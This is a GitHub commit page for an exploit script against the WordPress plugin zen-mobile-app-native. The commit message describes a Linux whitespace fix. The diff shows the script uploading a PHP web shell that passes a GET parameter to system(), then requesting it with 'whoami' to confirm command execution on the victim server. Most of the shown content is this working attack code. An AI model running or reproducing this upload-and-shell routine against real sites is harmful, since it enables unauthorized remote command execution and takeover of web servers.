Skip to content

Commit ae4f010

Browse files
authored
Linux Fix
python on linux is sensitive to the space in the response with the shell this caters for it by removing it... error fixed was for python requests "no connection adapters found" this is due to the fact that the http came after a white space hence it couldn''t identify the protocol.
1 parent 2564e8d commit ae4f010

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

zen_app_mobile_wp_rfu.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,8 @@ def exploit():
2727
myShell = {'file': (shellName, '<?php echo system($_GET[\'alien\']); ?>')}
2828
shellEmUp = requests.post(target, files=myShell)
2929
respShell = shellEmUp.text
30-
shellLoc = respShell.replace("http://example.com/", victim+"/wp-content/plugins/zen-mobile-app-native/")
30+
cleanURL = respShell.replace("http://example.com/",victim+"/wp-content/plugins/zen-mobile-app-native/")
31+
shellLoc = cleanURL.replace(" ", "")
3132
print "Confirming shell upload by printing current user\n"
3233
shellTest=requests.get(shellLoc+"?alien=whoami")
3334
webserverUser=shellTest.text

0 commit comments

Comments
 (0)